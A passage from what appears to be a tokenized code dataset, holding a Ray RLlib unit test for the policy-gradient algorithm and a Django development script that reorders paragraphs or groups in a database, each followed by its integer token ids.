1885,
29889,
7414,
29898,
5085,
1839,
1767,
2033,
8243,
30004,
13,
1678,
4970,
13,
1678,
363,
1820,
29892,
313,
978,
29892,
8636,
29892,
3653,
29897,
297,
4240,
1144,
29889,
7076,
7295,
30004,
13,
4706,
8829,
29889,
842,
29898,
1989,
29892,
5373,
2782,
262,
6678,
29898,
978,
29892,
8636,
29892,
3653,
876,
30004,
13,
1678,
6756,
13,
30004,
13,
1678,
8829,
29889,
842,
877,
524,
29947,
742,
3805,
29889,
2928,
1542,
29898,
29947,
876,
30004,
13,
1678,
8829,
29889,
842,
877,
524,
29896,
29953,
742,
3805,
29889,
2928,
1542,
29898,
29896,
29953,
876,
30004,
13,
1678,
8829,
29889,
842,
877,
524,
29941,
29906,
742,
3805,
29889,
2928,
1542,
29898,
29941,
29906,
876,
30004,
13,
1678,
8829,
29889,
842,
877,
524,
29953,
29946,
742,
3805,
29889,
2928,
1542,
29898,
29953,
29946,
876,
30004,
13,
30004,
13,
1678,
8829,
29889,
842,
877,
7411,
29896,
29953,
742,
3805,
29889,
29950,
3131,
1542,
3101,
30004,
13,
1678,
8829,
29889,
842,
877,
7411,
29941,
29906,
742,
3805,
29889,
11031,
1542,
3101,
30004,
13,
1678,
8829,
29889,
842,
877,
7411,
29953,
29946,
742,
3805,
29889,
11843,
1542,
3101,
30004,
13,
30004,
13,
1753,
1653,
29918,
10945,
29918,
6272,
7295,
30004,
13,
1678,
8829,
353,
16738,
26471,
13,
1678,
788,
29918,
16145,
1144,
29898,
6272,
8443,
13,
1678,
736,
8829,
30004,
13,
30004,
13,
30004,
13,
1753,
14707,
29918,
6272,
29898,
29879,
29892,
8829,
29892,
26952,
29922,
8824,
1125,
30004,
13,
1678,
19566,
261,
353,
15045,
261,
26471,
13,
1678,
1018,
29901,
30004,
13,
4706,
18897,
353,
19566,
261,
29889,
6979,
675,
29898,
29879,
8443,
13,
1678,
5174,
27782,
791,
29887,
16676,
2392,
408,
4589,
29901,
30004,
13,
4706,
3461,
29918,
29562,
29918,
2704,
29898,
2506,
261,
29892,
4589,
8443,
13,
4706,
565,
26952,
29901,
30004,
13,
9651,
12020,
30004,
13,
4706,
1683,
29901,
30004,
13,
9651,
736,
30004,
13,
30004,
13,
1678,
565,
26952,
29901,
30004,
13,
4706,
1596,
877,
29911,
554,
575,
1495,
30004,
13,
4706,
1596,
29918,
517,
12360,
29898,
517,
12360,
8443,
13,
4706,
1596,
26471,
13,
30004,
13,
1678,
5993,
29918,
5461,
353,
25159,
3835,
29898,
517,
12360,
8443,
13,
30004,
13,
1678,
1018,
29901,
30004,
13,
4706,
1824,
353,
1459,
643,
2141,
5510,
29898,
6979,
29918,
5461,
8443,
13,
1678,
5174,
27782,
791,
29887,
16676,
2392,
408,
4589,
29901,
30004,
13,
4706,
3461,
29918,
29562,
29918,
2704,
29898,
2506,
261,
29892,
4589,
8443,
13,
4706,
565,
26952,
29901,
30004,
13,
9651,
12020,
30004,
13,
4706,
1683,
29901,
30004,
13,
9651,
736,
30004,
13,
30004,
13,
1678,
565,
26952,
29901,
30004,
13,
4706,
1596,
877,
28938,
1495,
30004,
13,
4706,
1596,
29918,
579,
29898,
8860,
29889,
2587,
8443,
13,
4706,
1596,
26471,
13,
30004,
13,
1678,
3240,
353,
19745,
29918,
6112,
4110,
29898,
8860,
29889,
2587,
29892,
8829,
8443,
13,
30004,
13,
1678,
565,
26952,
29901,
30004,
13,
4706,
1596,
877,
18649,
1495,
30004,
13,
4706,
1596,
29918,
6272,
29898,
6272,
8443,
13,
4706,
1596,
26471,
13,
30004,
13,
1678,
736,
3240,
30004,
13,
30004,
13,
30004,
13,
1753,
14707,
29898,
29879,
29892,
26952,
29922,
8824,
1125,
30004,
13,
1678,
736,
14707,
29918,
6272,
29898,
29879,
29892,
1653,
29918,
10945,
29918,
6272,
3285,
26952,
8443,
13,
2
] |
rllib/algorithms/pg/tests/test_pg.py | willfrey/ray | 1 | 67331 | from gym.spaces import Box, Dict, Discrete, Tuple
import numpy as np
import unittest
import ray
import ray.rllib.algorithms.pg as pg
from ray.rllib.evaluation.postprocessing import Postprocessing
from ray.rllib.examples.env.random_env import RandomEnv
from ray.rllib.models.tf.tf_action_dist import Categorical
from ray.rllib.models.torch.torch_action_dist import TorchCategorical
from ray.rllib.policy.sample_batch import SampleBatch
from ray.rllib.utils.numpy import fc
from ray.rllib.utils.test_utils import (
check,
check_compute_single_action,
check_train_results,
framework_iterator,
)
from ray import tune
class TestPG(unittest.TestCase):
@classmethod
def setUpClass(cls) -> None:
ray.init()
@classmethod
def tearDownClass(cls) -> None:
ray.shutdown()
def test_pg_compilation(self):
"""Test whether a PGTrainer can be built with all frameworks."""
config = pg.PGConfig()
# Test with filter to see whether they work w/o preprocessing.
config.rollouts(
num_rollout_workers=1,
rollout_fragment_length=500,
observation_filter="MeanStdFilter",
)
num_iterations = 1
image_space = Box(-1.0, 1.0, shape=(84, 84, 3))
simple_space = Box(-1.0, 1.0, shape=(3,))
tune.register_env(
"random_dict_env",
lambda _: RandomEnv(
{
"observation_space": Dict(
{
"a": simple_space,
"b": Discrete(2),
"c": image_space,
}
),
"action_space": Box(-1.0, 1.0, shape=(1,)),
}
),
)
tune.register_env(
"random_tuple_env",
lambda _: RandomEnv(
{
"observation_space": Tuple(
[simple_space, Discrete(2), image_space]
),
"action_space": Box(-1.0, 1.0, shape=(1,)),
}
),
)
for _ in framework_iterator(config, with_eager_tracing=True):
# Test for different env types (discrete w/ and w/o image, + cont).
for env in [
"random_dict_env",
"random_tuple_env",
"MsPacmanNoFrameskip-v4",
"CartPole-v0",
"FrozenLake-v1",
]:
print(f"env={env}")
trainer = config.build(env=env)
for i in range(num_iterations):
results = trainer.train()
check_train_results(results)
print(results)
check_compute_single_action(trainer, include_prev_action_reward=True)
def test_pg_loss_functions(self):
"""Tests the PG loss function math."""
config = (
pg.PGConfig()
.rollouts(num_rollout_workers=0)
.training(
gamma=0.99,
model={
"fcnet_hiddens": [10],
"fcnet_activation": "linear",
},
)
)
# Fake CartPole episode of n time steps.
train_batch = SampleBatch(
{
SampleBatch.OBS: np.array(
[[0.1, 0.2, 0.3, 0.4], [0.5, 0.6, 0.7, 0.8], [0.9, 1.0, 1.1, 1.2]]
),
SampleBatch.ACTIONS: np.array([0, 1, 1]),
SampleBatch.REWARDS: np.array([1.0, 1.0, 1.0]),
SampleBatch.DONES: np.array([False, False, True]),
SampleBatch.EPS_ID: np.array([1234, 1234, 1234]),
SampleBatch.AGENT_INDEX: np.array([0, 0, 0]),
}
)
for fw, sess in framework_iterator(config, session=True):
dist_cls = Categorical if fw != "torch" else TorchCategorical
trainer = config.build(env="CartPole-v0")
policy = trainer.get_policy()
vars = policy.model.trainable_variables()
if sess:
vars = policy.get_session().run(vars)
# Post-process (calculate simple (non-GAE) advantages) and attach
# to train_batch dict.
# A = [0.99^2 * 1.0 + 0.99 * 1.0 + 1.0, 0.99 * 1.0 + 1.0, 1.0] =
# [2.9701, 1.99, 1.0]
train_batch_ = pg.post_process_advantages(policy, train_batch.copy())
if fw == "torch":
train_batch_ = policy._lazy_tensor_dict(train_batch_)
# Check Advantage values.
check(train_batch_[Postprocessing.ADVANTAGES], [2.9701, 1.99, 1.0])
# Actual loss results.
if sess:
results = policy.get_session().run(
policy._loss,
feed_dict=policy._get_loss_inputs_dict(train_batch_, shuffle=False),
)
else:
results = (pg.pg_tf_loss if fw in ["tf2", "tfe"] else pg.pg_torch_loss)(
policy, policy.model, dist_class=dist_cls, train_batch=train_batch_
)
# Calculate expected results.
if fw != "torch":
expected_logits = fc(
fc(train_batch_[SampleBatch.OBS], vars[0], vars[1], framework=fw),
vars[2],
vars[3],
framework=fw,
)
else:
expected_logits = fc(
fc(train_batch_[SampleBatch.OBS], vars[2], vars[3], framework=fw),
vars[0],
vars[1],
framework=fw,
)
expected_logp = dist_cls(expected_logits, policy.model).logp(
train_batch_[SampleBatch.ACTIONS]
)
adv = train_batch_[Postprocessing.ADVANTAGES]
if sess:
expected_logp = sess.run(expected_logp)
elif fw == "torch":
expected_logp = expected_logp.detach().cpu().numpy()
adv = adv.detach().cpu().numpy()
else:
expected_logp = expected_logp.numpy()
expected_loss = -np.mean(expected_logp * adv)
check(results, expected_loss, decimals=4)
if __name__ == "__main__":
import pytest
import sys
sys.exit(pytest.main(["-v", __file__]))
| [
1,
515,
330,
962,
29889,
22854,
1053,
11773,
29892,
360,
919,
29892,
3295,
9084,
29892,
12603,
552,
13,
5215,
12655,
408,
7442,
13,
5215,
443,
27958,
13,
13,
5215,
15570,
13,
5215,
15570,
29889,
2096,
1982,
29889,
9564,
12404,
29889,
4061,
408,
23822,
13,
3166,
15570,
29889,
2096,
1982,
29889,
24219,
362,
29889,
2490,
19170,
1053,
4918,
19170,
13,
3166,
15570,
29889,
2096,
1982,
29889,
19057,
29889,
6272,
29889,
8172,
29918,
6272,
1053,
16968,
21745,
13,
3166,
15570,
29889,
2096,
1982,
29889,
9794,
29889,
13264,
29889,
13264,
29918,
2467,
29918,
5721,
1053,
315,
20440,
936,
13,
3166,
15570,
29889,
2096,
1982,
29889,
9794,
29889,
7345,
305,
29889,
7345,
305,
29918,
2467,
29918,
5721,
1053,
4794,
305,
29907,
20440,
936,
13,
3166,
15570,
29889,
2096,
1982,
29889,
22197,
29889,
11249,
29918,
16175,
1053,
21029,
23145,
13,
3166,
15570,
29889,
2096,
1982,
29889,
13239,
29889,
23749,
1053,
285,
29883,
13,
3166,
15570,
29889,
2096,
1982,
29889,
13239,
29889,
1688,
29918,
13239,
1053,
313,
13,
1678,
1423,
29892,
13,
1678,
1423,
29918,
26017,
29918,
14369,
29918,
2467,
29892,
13,
1678,
1423,
29918,
14968,
29918,
9902,
29892,
13,
1678,
6890,
29918,
17609,
29892,
13,
29897,
13,
3166,
15570,
1053,
260,
1540,
13,
13,
13,
1990,
4321,
16903,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
731,
3373,
2385,
29898,
25932,
29897,
1599,
6213,
29901,
13,
4706,
15570,
29889,
2344,
580,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
734,
279,
6767,
2385,
29898,
25932,
29897,
1599,
6213,
29901,
13,
4706,
15570,
29889,
845,
329,
3204,
580,
13,
13,
1678,
822,
1243,
29918,
4061,
29918,
2388,
8634,
29898,
1311,
1125,
13,
4706,
9995,
3057,
3692,
263,
349,
29954,
5323,
4983,
508,
367,
4240,
411,
599,
29143,
1213,
15945,
13,
4706,
2295,
353,
23822,
29889,
16903,
3991,
580,
13,
4706,
396,
4321,
411,
4175,
304,
1074,
3692,
896,
664,
281,
29914,
29877,
758,
19170,
29889,
13,
4706,
2295,
29889,
1245,
17718,
29898,
13,
9651,
954,
29918,
1245,
449,
29918,
1287,
414,
29922,
29896,
29892,
13,
9651,
9679,
449,
29918,
20777,
29918,
2848,
29922,
29945,
29900,
29900,
29892,
13,
9651,
15500,
29918,
4572,
543,
6816,
273,
855,
29881,
5072,
613,
13,
4706,
1723,
13,
4706,
954,
29918,
1524,
800,
353,
29871,
29896,
13,
13,
4706,
1967,
29918,
3493,
353,
11773,
6278,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
8267,
7607,
29947,
29946,
29892,
29871,
29947,
29946,
29892,
29871,
29941,
876,
13,
4706,
2560,
29918,
3493,
353,
11773,
6278,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
8267,
7607,
29941,
29892,
876,
13,
13,
4706,
260,
1540,
29889,
9573,
29918,
6272,
29898,
13,
9651,
376,
8172,
29918,
8977,
29918,
6272,
613,
13,
9651,
14013,
903,
29901,
16968,
21745,
29898,
13,
18884,
426,
13,
462,
1678,
376,
26739,
362,
29918,
3493,
1115,
360,
919,
29898,
13,
462,
4706,
426,
13,
462,
9651,
376,
29874,
1115,
2560,
29918,
3493,
29892,
13,
462,
9651,
376,
29890,
1115,
3295,
9084,
29898,
29906,
511,
13,
462,
9651,
376,
29883,
1115,
1967,
29918,
3493,
29892,
13,
462,
4706,
500,
13,
462,
1678,
10353,
13,
462,
1678,
376,
2467,
29918,
3493,
1115,
11773,
6278,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
8267,
7607,
29896,
29892,
8243,
13,
18884,
500,
13,
9651,
10353,
13,
4706,
1723,
13,
4706,
260,
1540,
29889,
9573,
29918,
6272,
29898,
13,
9651,
376,
8172,
29918,
23583,
29918,
6272,
613,
13,
9651,
14013,
903,
29901,
16968,
21745,
29898,
13,
18884,
426,
13,
462,
1678,
376,
26739,
362,
29918,
3493,
1115,
12603,
552,
29898,
13,
462,
4706,
518,
12857,
29918,
3493,
29892,
3295,
9084,
29898,
29906,
511,
1967,
29918,
3493,
29962,
13,
462,
1678,
10353,
13,
462,
1678,
376,
2467,
29918,
3493,
1115,
11773,
6278,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
8267,
7607,
29896,
29892,
8243,
13,
18884,
500,
13,
9651,
10353,
13,
4706,
1723,
13,
13,
4706,
363,
903,
297,
6890,
29918,
17609,
29898,
2917,
29892,
411,
29918,
29872,
1875,
29918,
29873,
945,
292,
29922,
5574,
1125,
13,
9651,
396,
4321,
363,
1422,
8829,
4072,
313,
2218,
9084,
281,
29914,
322,
281,
29914,
29877,
1967,
29892,
718,
640,
467,
13,
9651,
363,
8829,
297,
518,
13,
18884,
376,
8172,
29918,
8977,
29918,
6272,
613,
13,
18884,
376,
8172,
29918,
23583,
29918,
6272,
613,
13,
18884,
376,
29924,
29879,
29925,
562,
1171,
3782,
14438,
1280,
29895,
666,
29899,
29894,
29946,
613,
13,
18884,
376,
25233,
29925,
1772,
29899,
29894,
29900,
613,
13,
18884,
376,
29943,
307,
2256,
29931,
1296,
29899,
29894,
29896,
613,
13,
9651,
4514,
29901,
13,
18884,
1596,
29898,
29888,
29908,
6272,
3790,
6272,
27195,
13,
18884,
1020,
4983,
353,
2295,
29889,
4282,
29898,
6272,
29922,
6272,
29897,
13,
18884,
363,
474,
297,
3464,
29898,
1949,
29918,
1524,
800,
1125,
13,
462,
1678,
2582,
353,
1020,
4983,
29889,
14968,
580,
13,
462,
1678,
1423,
29918,
14968,
29918,
9902,
29898,
9902,
29897,
13,
462,
1678,
1596,
29898,
9902,
29897,
13,
13,
18884,
1423,
29918,
26017,
29918,
14369,
29918,
2467,
29898,
3018,
4983,
29892,
3160,
29918,
16304,
29918,
2467,
29918,
276,
1328,
29922,
5574,
29897,
13,
13,
1678,
822,
1243,
29918,
4061,
29918,
6758,
29918,
12171,
29898,
1311,
1125,
13,
4706,
9995,
24376,
278,
349,
29954,
6410,
740,
5844,
1213,
15945,
13,
4706,
2295,
353,
313,
13,
9651,
23822,
29889,
16903,
3991,
580,
13,
9651,
869,
1245,
17718,
29898,
1949,
29918,
1245,
449,
29918,
1287,
414,
29922,
29900,
29897,
13,
9651,
869,
26495,
29898,
13,
18884,
330,
2735,
29922,
29900,
29889,
29929,
29929,
29892,
13,
18884,
1904,
3790,
13,
462,
1678,
376,
13801,
1212,
29918,
29882,
2205,
575,
1115,
518,
29896,
29900,
1402,
13,
462,
1678,
376,
13801,
1212,
29918,
11236,
362,
1115,
376,
10660,
613,
13,
18884,
2981,
13,
9651,
1723,
13,
4706,
1723,
13,
13,
4706,
396,
383,
1296,
12370,
29925,
1772,
12720,
310,
302,
931,
6576,
29889,
13,
4706,
7945,
29918,
16175,
353,
21029,
23145,
29898,
13,
9651,
426,
13,
18884,
21029,
23145,
29889,
29949,
9851,
29901,
7442,
29889,
2378,
29898,
13,
462,
1678,
5519,
29900,
29889,
29896,
29892,
29871,
29900,
29889,
29906,
29892,
29871,
29900,
29889,
29941,
29892,
29871,
29900,
29889,
29946,
1402,
518,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29953,
29892,
29871,
29900,
29889,
29955,
29892,
29871,
29900,
29889,
29947,
1402,
518,
29900,
29889,
29929,
29892,
29871,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29896,
29892,
29871,
29896,
29889,
29906,
5262,
13,
18884,
10353,
13,
18884,
21029,
23145,
29889,
24705,
29903,
29901,
7442,
29889,
2378,
4197,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
11724,
13,
18884,
21029,
23145,
29889,
1525,
29956,
1718,
8452,
29901,
7442,
29889,
2378,
4197,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
11724,
13,
18884,
21029,
23145,
29889,
29928,
1164,
2890,
29901,
7442,
29889,
2378,
4197,
8824,
29892,
7700,
29892,
5852,
11724,
13,
18884,
21029,
23145,
29889,
29923,
7024,
29918,
1367,
29901,
7442,
29889,
2378,
4197,
29896,
29906,
29941,
29946,
29892,
29871,
29896,
29906,
29941,
29946,
29892,
29871,
29896,
29906,
29941,
29946,
11724,
13,
18884,
21029,
23145,
29889,
10051,
3919,
29918,
27992,
29901,
7442,
29889,
2378,
4197,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
11724,
13,
9651,
500,
13,
4706,
1723,
13,
13,
4706,
363,
285,
29893,
29892,
27937,
297,
6890,
29918,
17609,
29898,
2917,
29892,
4867,
29922,
5574,
1125,
13,
9651,
1320,
29918,
25932,
353,
315,
20440,
936,
565,
285,
29893,
2804,
376,
7345,
305,
29908,
1683,
4794,
305,
29907,
20440,
936,
13,
9651,
1020,
4983,
353,
2295,
29889,
4282,
29898,
6272,
543,
25233,
29925,
1772,
29899,
29894,
29900,
1159,
13,
9651,
8898,
353,
1020,
4983,
29889,
657,
29918,
22197,
580,
13,
9651,
24987,
353,
8898,
29889,
4299,
29889,
14968,
519,
29918,
20897,
580,
13,
9651,
565,
27937,
29901,
13,
18884,
24987,
353,
8898,
29889,
657,
29918,
7924,
2141,
3389,
29898,
16908,
29897,
13,
13,
9651,
396,
4918,
29899,
5014,
313,
15807,
403,
2560,
313,
5464,
29899,
12739,
29923,
29897,
25486,
29897,
322,
10641,
13,
9651,
396,
304,
7945,
29918,
16175,
9657,
29889,
13,
9651,
396,
319,
353,
518,
29900,
29889,
29929,
29929,
29985,
29906,
334,
29871,
29896,
29889,
29900,
718,
29871,
29900,
29889,
29929,
29929,
334,
29871,
29896,
29889,
29900,
718,
29871,
29896,
29889,
29900,
29892,
29871,
29900,
29889,
29929,
29929,
334,
29871,
29896,
29889,
29900,
718,
29871,
29896,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
29962,
353,
13,
9651,
396,
518,
29906,
29889,
29929,
29955,
29900,
29896,
29892,
29871,
29896,
29889,
29929,
29929,
29892,
29871,
29896,
29889,
29900,
29962,
13,
9651,
7945,
29918,
16175,
29918,
353,
23822,
29889,
2490,
29918,
5014,
29918,
17263,
19771,
29898,
22197,
29892,
7945,
29918,
16175,
29889,
8552,
3101,
13,
9651,
565,
285,
29893,
1275,
376,
7345,
305,
1115,
13,
18884,
7945,
29918,
16175,
29918,
353,
8898,
3032,
433,
1537,
29918,
20158,
29918,
8977,
29898,
14968,
29918,
16175,
19925,
13,
13,
9651,
396,
5399,
25215,
8501,
1819,
29889,
13,
9651,
1423,
29898,
14968,
29918,
16175,
29918,
29961,
6747,
19170,
29889,
3035,
29963,
2190,
6040,
1692,
29903,
1402,
518,
29906,
29889,
29929,
29955,
29900,
29896,
29892,
29871,
29896,
29889,
29929,
29929,
29892,
29871,
29896,
29889,
29900,
2314,
13,
13,
9651,
396,
3185,
950,
6410,
2582,
29889,
13,
9651,
565,
27937,
29901,
13,
18884,
2582,
353,
8898,
29889,
657,
29918,
7924,
2141,
3389,
29898,
13,
462,
1678,
8898,
3032,
6758,
29892,
13,
462,
1678,
8343,
29918,
8977,
29922,
22197,
3032,
657,
29918,
6758,
29918,
2080,
29879,
29918,
8977,
29898,
14968,
29918,
16175,
3383,
528,
21897,
29922,
8824,
511,
13,
18884,
1723,
13,
9651,
1683,
29901,
13,
18884,
2582,
353,
313,
4061,
29889,
4061,
29918,
13264,
29918,
6758,
565,
285,
29893,
297,
6796,
13264,
29906,
613,
376,
29873,
1725,
3108,
1683,
23822,
29889,
4061,
29918,
7345,
305,
29918,
6758,
5033,
13,
462,
1678,
8898,
29892,
8898,
29889,
4299,
29892,
1320,
29918,
1990,
29922,
5721,
29918,
25932,
29892,
7945,
29918,
16175,
29922,
14968,
29918,
16175,
29918,
13,
18884,
1723,
13,
13,
9651,
396,
20535,
403,
3806,
2582,
29889,
13,
9651,
565,
285,
29893,
2804,
376,
7345,
305,
1115,
13,
18884,
3806,
29918,
1188,
1169,
353,
285,
29883,
29898,
13,
462,
1678,
285,
29883,
29898,
14968,
29918,
16175,
29918,
29961,
17708,
23145,
29889,
29949,
9851,
1402,
24987,
29961,
29900,
1402,
24987,
29961,
29896,
1402,
6890,
29922,
25051,
511,
13,
462,
1678,
24987,
29961,
29906,
1402,
13,
462,
1678,
24987,
29961,
29941,
1402,
13,
462,
1678,
6890,
29922,
25051,
29892,
13,
18884,
1723,
13,
9651,
1683,
29901,
13,
18884,
3806,
29918,
1188,
1169,
353,
285,
29883,
29898,
13,
462,
1678,
285,
29883,
29898,
14968,
29918,
16175,
29918,
29961,
17708,
23145,
29889,
29949,
9851,
1402,
24987,
29961,
29906,
1402,
24987,
29961,
29941,
1402,
6890,
29922,
25051,
511,
13,
462,
1678,
24987,
29961,
29900,
1402,
13,
462,
1678,
24987,
29961,
29896,
1402,
13,
462,
1678,
6890,
29922,
25051,
29892,
13,
18884,
1723,
13,
9651,
3806,
29918,
1188,
29886,
353,
1320,
29918,
25932,
29898,
9684,
29918,
1188,
1169,
29892,
8898,
29889,
4299,
467,
1188,
29886,
29898,
13,
18884,
7945,
29918,
16175,
29918,
29961,
17708,
23145,
29889,
24705,
29903,
29962,
13,
9651,
1723,
13,
9651,
3061,
353,
7945,
29918,
16175,
29918,
29961,
6747,
19170,
29889,
3035,
29963,
2190,
6040,
1692,
29903,
29962,
13,
9651,
565,
27937,
29901,
13,
18884,
3806,
29918,
1188,
29886,
353,
27937,
29889,
3389,
29898,
9684,
29918,
1188,
29886,
29897,
13,
9651,
25342,
285,
29893,
1275,
376,
7345,
305,
1115,
13,
18884,
3806,
29918,
1188,
29886,
353,
3806,
29918,
1188,
29886,
29889,
4801,
496,
2141,
21970,
2141,
23749,
580,
13,
18884,
3061,
353,
3061,
29889,
4801,
496,
2141,
21970,
2141,
23749,
580,
13,
9651,
1683,
29901,
13,
18884,
3806,
29918,
1188,
29886,
353,
3806,
29918,
1188,
29886,
29889,
23749,
580,
13,
9651,
3806,
29918,
6758,
353,
448,
9302,
29889,
12676,
29898,
9684,
29918,
1188,
29886,
334,
3061,
29897,
13,
9651,
1423,
29898,
9902,
29892,
3806,
29918,
6758,
29892,
1602,
326,
1338,
29922,
29946,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1053,
11451,
1688,
13,
1678,
1053,
10876,
13,
13,
1678,
10876,
29889,
13322,
29898,
2272,
1688,
29889,
3396,
29898,
3366,
29899,
29894,
613,
4770,
1445,
1649,
12622,
13,
2
] |
scripts/db_change_order.py | lizschley/number_six | 1 | 128281 | <gh_stars>1-10
'''
ref: https://django-extensions.readthedocs.io/en/latest/runscript.html
Run scripts/db_updater_s1.py with json: {"group_ids": [35]} or {"category_ids": [1]} (examples)
Follow instructions in run method.
Note - This script will only change the paragraphs (or group) order, but if you find yourself
updating the update the paragraph text
First - delete the group_id or the category_id in the input file:
(<INPUT_TO_UPDATER_STEP_THREE> (in scripts/constants))
Then - run the the same input with the db_updater_s3 script
:returns: nothing
'''
import sys
from decouple import config
import constants.scripts as constants
import helpers.import_common_class.paragraph_helpers as import_helper
import helpers.no_import_common_class.paragraph_helpers as para_helper
from common_classes.para_db_update_order import ParaDbUpdateOrder
def run(*args):
'''
This runs Step Three, which is designed to run in development only
Prerequisites:
Step 1. Make sure you have input created and edited correctly in Steps 1 and 2
Run scripts/db_updater_s1.py with json, example below:
{"group_ids": [35]} OR {"category_ids": [1]}
Output will be in <INPUT_TO_UPDATER_STEP_THREE> (in scripts/constants)
Step 2. Add key "group_id": 35 (group_id from Step One Json file)
Also keep paragraph list intact: Need all the records, plus the id, guid and text
keep the groupparagraph list intact as well
Reorder the paragraph records to be the desired order
----> OR <-----
Add key "category_id": 1 (category_id from Step One Json file)
Also keep the group list intact
Reorder the group records to be the desired order
3. Run this script, possible parameters
>>> python manage.py runscript -v3 db_change_order --script-args
or
>>> python manage.py runscript -v3 db_change_order --script-args updating
Notes on Arguments
* No arguments - will not do any db updates.
* updating (only) - will process the input data, doing updates.
'''
process_data = init_process_data(args)
if process_data.get('error'):
sys.exit(process_data['error'])
process_data = establish_input_directory(process_data)
if process_data.get('error'):
sys.exit(process_data['error'])
num_files = call_process(process_data)
print(f'update the order for groups or paragraphs: number of files: {num_files}')
def init_process_data(args):
''' Gather information for Step Three, in order to update the database '''
updating = False
if constants.FOR_PROD in args:
return f'{constants.FOR_PROD} is invalid for this process'
if constants.UPDATING in args:
updating = True
message = test_for_errors(args, updating)
if message != 'ok':
return {'error': message}
return switches_from_args(updating)
def test_for_errors(args, updating):
'Ensures the correct number and combinations of parameters.'
message = f'Error! To many args or wrong args, args == {args}'
if len(args) > 1:
return message
if len(args) == 1 and not updating:
return message
if config('ENVIRONMENT') != 'development':
return 'This process is a development only process'
return 'ok'
def switches_from_args(updating):
''' Return from init process data '''
return {
'updating': updating,
}
def establish_input_directory(process_data):
''' The process and files depend on the process data '''
process_data['input_directory'] = constants.INPUT_TO_UPDATER_STEP_THREE
process_data['class'] = ParaDbUpdateOrder
return process_data
def call_process(process_data):
''' passes function with correct calls to common looping through json files function '''
num = para_helper.loop_through_files_for_db_updates(import_helper.update_paragraphs_update_order,
process_data)
return num
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
12008,
13,
1678,
2143,
29901,
2045,
597,
14095,
29899,
24299,
29889,
949,
386,
287,
12332,
29889,
601,
29914,
264,
29914,
12333,
29914,
3389,
2154,
29889,
1420,
13,
13,
1678,
7525,
12078,
29914,
2585,
29918,
786,
29881,
1008,
29918,
29879,
29896,
29889,
2272,
411,
4390,
29901,
29871,
8853,
2972,
29918,
4841,
1115,
518,
29941,
29945,
12258,
470,
8853,
7320,
29918,
4841,
1115,
518,
29896,
12258,
313,
19057,
29897,
13,
13,
1678,
10306,
11994,
297,
1065,
1158,
29889,
13,
13,
1678,
3940,
448,
910,
2471,
674,
871,
1735,
278,
14880,
29879,
313,
272,
2318,
29897,
1797,
29892,
541,
565,
366,
1284,
7535,
13,
1678,
13271,
278,
2767,
278,
14880,
1426,
13,
1678,
3824,
448,
5217,
278,
2318,
29918,
333,
470,
278,
7663,
29918,
333,
297,
278,
1881,
934,
29901,
13,
965,
313,
29966,
1177,
12336,
29918,
4986,
29918,
4897,
25832,
1001,
29918,
1254,
15488,
29918,
4690,
21661,
29958,
313,
262,
12078,
29914,
3075,
1934,
876,
13,
1678,
1987,
448,
1065,
278,
278,
1021,
1881,
411,
278,
4833,
29918,
786,
29881,
1008,
29918,
29879,
29941,
2471,
13,
13,
29901,
18280,
29901,
3078,
13,
12008,
13,
5215,
10876,
13,
3166,
1602,
283,
552,
1053,
2295,
13,
5215,
17727,
29889,
16713,
408,
17727,
13,
5215,
1371,
414,
29889,
5215,
29918,
9435,
29918,
1990,
29889,
26956,
29918,
3952,
6774,
408,
1053,
29918,
20907,
13,
5215,
1371,
414,
29889,
1217,
29918,
5215,
29918,
9435,
29918,
1990,
29889,
26956,
29918,
3952,
6774,
408,
1702,
29918,
20907,
13,
3166,
3619,
29918,
13203,
29889,
22752,
29918,
2585,
29918,
5504,
29918,
2098,
1053,
12994,
10234,
6422,
7514,
13,
13,
13,
1753,
1065,
10456,
5085,
1125,
13,
1678,
14550,
13,
4706,
910,
6057,
16696,
12753,
29892,
607,
338,
8688,
304,
1065,
297,
5849,
871,
13,
13,
4706,
1588,
406,
7680,
3246,
29901,
13,
4706,
16696,
29871,
29896,
29889,
8561,
1854,
366,
505,
1881,
2825,
322,
8788,
5149,
297,
2443,
567,
29871,
29896,
322,
29871,
29906,
13,
9651,
7525,
12078,
29914,
2585,
29918,
786,
29881,
1008,
29918,
29879,
29896,
29889,
2272,
411,
4390,
29892,
1342,
2400,
29901,
13,
1669,
8853,
2972,
29918,
4841,
1115,
518,
29941,
29945,
12258,
6323,
8853,
7320,
29918,
4841,
1115,
518,
29896,
12258,
13,
9651,
10604,
674,
367,
297,
529,
1177,
12336,
29918,
4986,
29918,
4897,
25832,
1001,
29918,
1254,
15488,
29918,
4690,
21661,
29958,
313,
262,
12078,
29914,
3075,
1934,
29897,
13,
13,
4706,
16696,
29871,
29906,
29889,
3462,
1820,
376,
2972,
29918,
333,
1115,
29871,
29941,
29945,
313,
2972,
29918,
333,
515,
16696,
3118,
14355,
934,
29897,
13,
18884,
3115,
3013,
14880,
1051,
938,
627,
29901,
29871,
20768,
599,
278,
6475,
29892,
2298,
278,
1178,
29892,
16605,
322,
1426,
13,
462,
268,
3013,
278,
867,
283,
407,
279,
9895,
1051,
938,
627,
408,
1532,
13,
462,
268,
830,
2098,
278,
14880,
6475,
304,
367,
278,
7429,
1797,
13,
13,
18884,
11474,
976,
6323,
529,
23648,
13,
13,
18884,
3462,
1820,
376,
7320,
29918,
333,
1115,
29871,
29896,
313,
7320,
29918,
333,
515,
16696,
3118,
14355,
934,
29897,
13,
18884,
3115,
3013,
278,
2318,
1051,
938,
627,
13,
18884,
830,
2098,
278,
2318,
6475,
304,
367,
278,
7429,
1797,
13,
13,
308,
29941,
29889,
7525,
445,
2471,
29892,
